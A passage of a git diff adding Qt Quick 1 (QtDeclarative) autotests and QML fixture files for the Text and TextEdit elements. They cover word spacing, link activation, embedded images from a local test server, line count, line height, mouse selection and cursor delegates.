+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().wordSpacing(), -50.);
+ }
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"Hello world!\"; font.wordSpacing: 200 }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+ QCOMPARE(textObject->font().wordSpacing(), 200.);
+ }
+}
+
+void tst_qdeclarativetext::QTBUG_12291()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/rotated.qml");
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QObject *ob = canvas->rootObject();
+ QVERIFY(ob != 0);
+
+ QDeclarativeText *text = ob->findChild<QDeclarativeText*>("text");
+ QVERIFY(text);
+ QVERIFY(text->boundingRect().isValid());
+
+ delete canvas;
+}
+
+class EventSender : public QGraphicsItem
+{
+public:
+ void sendEvent(QEvent *event) { sceneEvent(event); }
+};
+
+class LinkTest : public QObject
+{
+ Q_OBJECT
+public:
+ LinkTest() {}
+
+ QString link;
+
+public slots:
+ void linkClicked(QString l) { link = l; }
+};
+
+void tst_qdeclarativetext::clickLink()
+{
+ {
+ QString componentStr = "import QtQuick 1.0\nText { text: \"<a href=\\\"http://qt.nokia.com\\\">Hello world!</a>\" }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+
+ LinkTest test;
+ QObject::connect(textObject, SIGNAL(linkActivated(QString)), &test, SLOT(linkClicked(QString)));
+
+ {
+ QGraphicsSceneMouseEvent me(QEvent::GraphicsSceneMousePress);
+ me.setPos(QPointF(textObject->x()/2, textObject->y()/2));
+ me.setButton(Qt::LeftButton);
+ static_cast<EventSender*>(static_cast<QGraphicsItem*>(textObject))->sendEvent(&me);
+ }
+
+ {
+ QGraphicsSceneMouseEvent me(QEvent::GraphicsSceneMouseRelease);
+ me.setPos(QPointF(textObject->x()/2, textObject->y()/2));
+ me.setButton(Qt::LeftButton);
+ static_cast<EventSender*>(static_cast<QGraphicsItem*>(textObject))->sendEvent(&me);
+ }
+
+ QCOMPARE(test.link, QLatin1String("http://qt.nokia.com"));
+ }
+}
+
+void tst_qdeclarativetext::embeddedImages_data()
+{
+ QTest::addColumn<QUrl>("qmlfile");
+ QTest::addColumn<QString>("error");
+ QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocal.qml") << "";
+ QTest::newRow("local-error") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocalError.qml")
+ << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesLocalError.qml").toString()+":3:1: QML Text: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/http/notexists.png").toString();
+ QTest::newRow("remote") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemote.qml") << "";
+ QTest::newRow("remote-error") << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemoteError.qml")
+ << QUrl::fromLocalFile(SRCDIR "/data/embeddedImagesRemoteError.qml").toString()+":3:1: QML Text: Error downloading http://127.0.0.1:14453/notexists.png - server replied: Not found";
+}
+
+void tst_qdeclarativetext::embeddedImages()
+{
+ // Tests QTBUG-9900
+
+ QFETCH(QUrl, qmlfile);
+ QFETCH(QString, error);
+
+ TestHTTPServer server(14453);
+ server.serveDirectory(SRCDIR "/data/http");
+
+ if (!error.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, error.toLatin1());
+
+ QDeclarativeComponent textComponent(&engine, qmlfile);
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject != 0);
+
+ QTRY_COMPARE(textObject->resourcesLoading(), 0);
+
+ QPixmap pm(SRCDIR "/data/http/exists.png");
+ if (error.isEmpty()) {
+ QCOMPARE(textObject->width(), double(pm.width()));
+ QCOMPARE(textObject->height(), double(pm.height()));
+ } else {
+ QVERIFY(16 != pm.width()); // check test is effective
+ QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon
+ QCOMPARE(textObject->height(), 16.0);
+ }
+
+ delete textObject;
+}
+
+void tst_qdeclarativetext::lineCount()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml");
+
+ QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+ QVERIFY(myText != 0);
+
+ QVERIFY(myText->lineCount() > 1);
+ QVERIFY(!myText->truncated());
+ QCOMPARE(myText->maximumLineCount(), INT_MAX);
+
+ myText->setMaximumLineCount(2);
+ QCOMPARE(myText->lineCount(), 2);
+ QCOMPARE(myText->truncated(), true);
+ QCOMPARE(myText->maximumLineCount(), 2);
+
+ myText->resetMaximumLineCount();
+ QCOMPARE(myText->maximumLineCount(), INT_MAX);
+ QCOMPARE(myText->truncated(), false);
+
+ myText->setElideMode(QDeclarativeText::ElideRight);
+ myText->setMaximumLineCount(2);
+ QCOMPARE(myText->lineCount(), 2);
+ QCOMPARE(myText->truncated(), true);
+ QCOMPARE(myText->maximumLineCount(), 2);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetext::lineHeight()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/lineHeight.qml");
+
+ QDeclarativeText *myText = canvas->rootObject()->findChild<QDeclarativeText*>("myText");
+ QVERIFY(myText != 0);
+
+ QVERIFY(myText->lineHeight() == 1);
+ QVERIFY(myText->lineHeightMode() == QDeclarativeText::ProportionalHeight);
+
+ qreal h = myText->height();
+ myText->setLineHeight(1.5);
+ QVERIFY(myText->height() == h * 1.5);
+
+ myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+ myText->setLineHeight(20);
+ QCOMPARE(myText->height(), myText->lineCount() * 20.0);
+
+ myText->setText("Lorem ipsum sit <b>amet</b>, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum.");
+ myText->setLineHeightMode(QDeclarativeText::ProportionalHeight);
+ myText->setLineHeight(1.0);
+
+ qreal h2 = myText->height();
+ myText->setLineHeight(2.0);
+ QEXPECT_FAIL("", "QTBUG-17325", Continue);
+ QVERIFY(myText->height() == h2 * 2.0);
+
+ myText->setLineHeightMode(QDeclarativeText::FixedHeight);
+ myText->setLineHeight(10);
+ QEXPECT_FAIL("", "QTBUG-17325", Continue);
+ QCOMPARE(myText->height(), myText->lineCount() * 10.0);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetext::implicitSize_data()
+{
+ QTest::addColumn<QString>("text");
+ QTest::addColumn<QString>("wrap");
+ QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "Text.NoWrap";
+ QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.NoWrap";
+ QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "Text.Wrap";
+ QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "Text.Wrap";
+}
+
+void tst_qdeclarativetext::implicitSize()
+{
+ QFETCH(QString, text);
+ QFETCH(QString, wrap);
+ QString componentStr = "import QtQuick 1.1\nText { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+ QDeclarativeComponent textComponent(&engine);
+ textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeText *textObject = qobject_cast<QDeclarativeText*>(textComponent.create());
+
+ QVERIFY(textObject->width() < textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+
+ textObject->resetWidth();
+ QVERIFY(textObject->width() == textObject->implicitWidth());
+ QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativetext::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("maximumLineCount") << "maximumLineCount: 4"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineHeight") << "lineHeight: 2"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineHeightMode") << "lineHeightMode: Text.ProportionalHeight"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("lineCount") << "property int foo: lineCount"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+ << "";
+
+ QTest::newRow("truncated") << "property bool foo: truncated"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: truncated"
+ << "";
+}
+
+void tst_qdeclarativetext::qtbug_14734()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/qtbug_14734.qml");
+ QVERIFY(canvas);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ delete canvas;
+}
+
+QTEST_MAIN(tst_qdeclarativetext)
+
+#include "tst_qdeclarativetext.moc"
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/CursorRect.qml b/tests/auto/declarative/qdeclarativetextedit/data/CursorRect.qml
new file mode 100644
index 00000000..3af03136
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/CursorRect.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ objectName: "myEdit"
+ width: 50
+ text: "This is a long piece of text"
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments.qml b/tests/auto/declarative/qdeclarativetextedit/data/alignments.qml
new file mode 100644
index 00000000..bc977fc6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 70; height: 70;
+
+ property alias horizontalAlignment: t.horizontalAlignment
+ property alias verticalAlignment: t.verticalAlignment
+ property alias wrapMode: t.wrapMode
+ property alias running: timer.running
+ property string txt: "Test"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 40
+ height: 40
+ color: "green"
+
+ TextEdit {
+ id: t
+
+ anchors.fill: parent
+ horizontalAlignment: TextEdit.AlignRight
+ verticalAlignment: TextEdit.AlignBottom
+ wrapMode: TextEdit.WordWrap
+ text: top.txt
+ }
+ Timer {
+ id: timer
+
+ interval: 1
+ running: true
+ repeat: true
+ onTriggered: {
+ top.txt = top.txt + "<br>more " + top.txt.length;
+ if (top.txt.length > 50)
+ running = false
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_cb.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_cb.png
new file mode 100644
index 00000000..99de2192
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_cb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_cc.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_cc.png
new file mode 100644
index 00000000..cb852511
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_cc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_ct.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_ct.png
new file mode 100644
index 00000000..ddca549c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_ct.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_lb.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lb.png
new file mode 100644
index 00000000..1b50a81f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_lc.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lc.png
new file mode 100644
index 00000000..f041b868
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_lt.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lt.png
new file mode 100644
index 00000000..c75e0d15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_lt.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_rb.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rb.png
new file mode 100644
index 00000000..b06a5da7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rb.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_rc.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rc.png
new file mode 100644
index 00000000..e468857c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rc.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/alignments_rt.png b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rt.png
new file mode 100644
index 00000000..576715ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/alignments_rt.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/cursorTest.qml b/tests/auto/declarative/qdeclarativetextedit/data/cursorTest.qml
new file mode 100644
index 00000000..f7fb3e7c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/cursorTest.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ TextEdit { text: "Hello world!"; id: textEditObject; objectName: "textEditObject"
+ anchors.fill: parent
+ resources: [ Component { id:cursor; Item { id:cursorInstance; objectName: "cursorInstance" } } ]
+ cursorDelegate: cursor
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/geometrySignals.qml b/tests/auto/declarative/qdeclarativetextedit/data/geometrySignals.qml
new file mode 100644
index 00000000..fe2ae122
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/geometrySignals.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 500;
+ property int bindingWidth: text.width
+ property int bindingHeight: text.height
+
+ TextInput {
+ id: text
+ anchors.fill: parent
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 00000000..6e739bf2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: top
+ width: 200; height: 70;
+
+ property alias horizontalAlignment: text.horizontalAlignment
+ property string text: "اختبا"
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 200
+ height: 20
+ color: "green"
+
+ TextEdit {
+ id: text
+ objectName: "text"
+ anchors.fill: parent
+ text: top.text
+ focus: true
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/ErrItem.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/ErrItem.qml
new file mode 100644
index 00000000..fa7dbd10
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/ErrItem.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+Item{
+ Fungus{
+ palatable: false;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/NormItem.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/NormItem.qml
new file mode 100644
index 00000000..49891935
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/NormItem.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Item {
+ objectName: "delegateOkay"
+ Rectangle { }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTest.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTest.qml
new file mode 100644
index 00000000..724c058d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTest.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ resources: [
+ Component { id:cursorFail; FailItem { objectName: "delegateFail" } },
+ Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } },
+ Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } },
+ Component { id:cursorErr; ErrItem { objectName: "delegateErrorA" } }
+ ]
+ TextEdit {
+ cursorDelegate: cursorFail
+ }
+ TextEdit {
+ cursorDelegate: cursorWait
+ }
+ TextEdit {
+ cursorDelegate: cursorNorm
+ }
+ TextEdit {
+ cursorDelegate: cursorErr
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml
new file mode 100644
index 00000000..6dcf7855
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail1.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ resources: [
+ Component { id:cursorFail; FailItem { objectName: "delegateFail" } },
+ Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } },
+ Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } }
+ ]
+ TextEdit {
+ cursorDelegate: cursorFail
+ }
+ TextEdit {
+ cursorDelegate: cursorWait
+ }
+ TextEdit {
+ cursorDelegate: cursorNorm
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml
new file mode 100644
index 00000000..5f441d0d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestFail2.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ resources: [
+ Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } },
+ Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } },
+ Component { id:cursorErr; ErrItem { objectName: "delegateErrorA" } }
+ ]
+ TextEdit {
+ cursorDelegate: cursorWait
+ }
+ TextEdit {
+ cursorDelegate: cursorNorm
+ }
+ TextEdit {
+ cursorDelegate: cursorErr
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml
new file mode 100644
index 00000000..95f5d87e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle { width: 300; height: 300; color: "white"
+ resources: [
+ Component { id:cursorWait; WaitItem { objectName: "delegateSlow" } },
+ Component { id:cursorNorm; NormItem { objectName: "delegateOkay" } }
+ ]
+ TextEdit {
+ cursorDelegate: cursorWait
+ text: "Hello"
+ }
+ TextEdit {
+ objectName: "textEditObject"
+ cursorDelegate: cursorNorm
+ focus: true;
+ text: "Hello"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir
new file mode 100644
index 00000000..886e6ffe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir
@@ -0,0 +1,4 @@
+ErrItem ErrItem.qml
+NormItem NormItem.qml
+FailItem FailItem.qml
+WaitItem WaitItem.qml
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/httpfail/FailItem.qml b/tests/auto/declarative/qdeclarativetextedit/data/httpfail/FailItem.qml
new file mode 100644
index 00000000..466eb9d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/httpfail/FailItem.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ Rectangle { }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/httpslow/WaitItem.qml b/tests/auto/declarative/qdeclarativetextedit/data/httpslow/WaitItem.qml
new file mode 100644
index 00000000..466eb9d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/httpslow/WaitItem.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ Rectangle { }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/inputmethodhints.qml b/tests/auto/declarative/qdeclarativetextedit/data/inputmethodhints.qml
new file mode 100644
index 00000000..7df17f21
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/inputmethodhints.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+TextEdit {
+ text: "Hello world!"
+ inputMethodHints: Qt.ImhNoPredictiveText
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_default.qml
new file mode 100644
index 00000000..22a98713
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false.qml
new file mode 100644
index 00000000..22a98713
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_readonly.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_readonly.qml
new file mode 100644
index 00000000..4aea6116
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_readonly.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+ readOnly: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_words.qml
new file mode 100644
index 00000000..f8d2e4e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_false_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: false
+ mouseSelectionMode: TextEdit.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_multiline.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_multiline.qml
new file mode 100644
index 00000000..af23f6d9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_multiline.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRS\nTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextInput.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true.qml
new file mode 100644
index 00000000..d61da46f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_readonly.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_readonly.qml
new file mode 100644
index 00000000..959e6837
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_readonly.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ readOnly: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_words.qml
new file mode 100644
index 00000000..f58fd458
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselection_true_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextEdit.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
new file mode 100644
index 00000000..5784e196
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextEdit.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
new file mode 100644
index 00000000..1e5f4aac
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
new file mode 100644
index 00000000..4b25f2f8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextEdit {
+ focus: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ selectByMouse: true
+ mouseSelectionMode: TextEdit.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/navigation.qml b/tests/auto/declarative/qdeclarativetextedit/data/navigation.qml
new file mode 100644
index 00000000..0e1caf6e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/navigation.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ property variant myInput: input
+
+ width: 800; height: 600; color: "blue"
+
+ Item {
+ id: firstItem;
+ KeyNavigation.right: input
+ }
+
+ TextEdit { id: input; focus: true
+ KeyNavigation.left: firstItem
+ KeyNavigation.right: lastItem
+ KeyNavigation.up: firstItem
+ KeyNavigation.down: lastItem
+ text: "a"
+ }
+ Item {
+ id: lastItem
+ KeyNavigation.left: input
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/positionAt.qml b/tests/auto/declarative/qdeclarativetextedit/data/positionAt.qml
new file mode 100644
index 00000000..e0101356
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/positionAt.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+TextEdit {
+ focus: true
+ objectName: "myInput"
+ width: 50
+ height: 25
+ text: "This is\n a long piece of text"
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/data/readOnly.qml b/tests/auto/declarative/qdeclarativetextedit/data/readOnly.qml
new file mode 100644
index 00000000..36177d3b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/data/readOnly.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ property variant myInput: input
+
+ width: 800; height: 600; color: "blue"
+
+ TextEdit { id: input; focus: true
+ readOnly: true
+ text: "I am the very model of a modern major general.\n"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativetextedit/qdeclarativetextedit.pro b/tests/auto/declarative/qdeclarativetextedit/qdeclarativetextedit.pro
new file mode 100644
index 00000000..aaf753e6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextedit/qdeclarativetextedit.pro
@@ -0,0 +1,14 @@
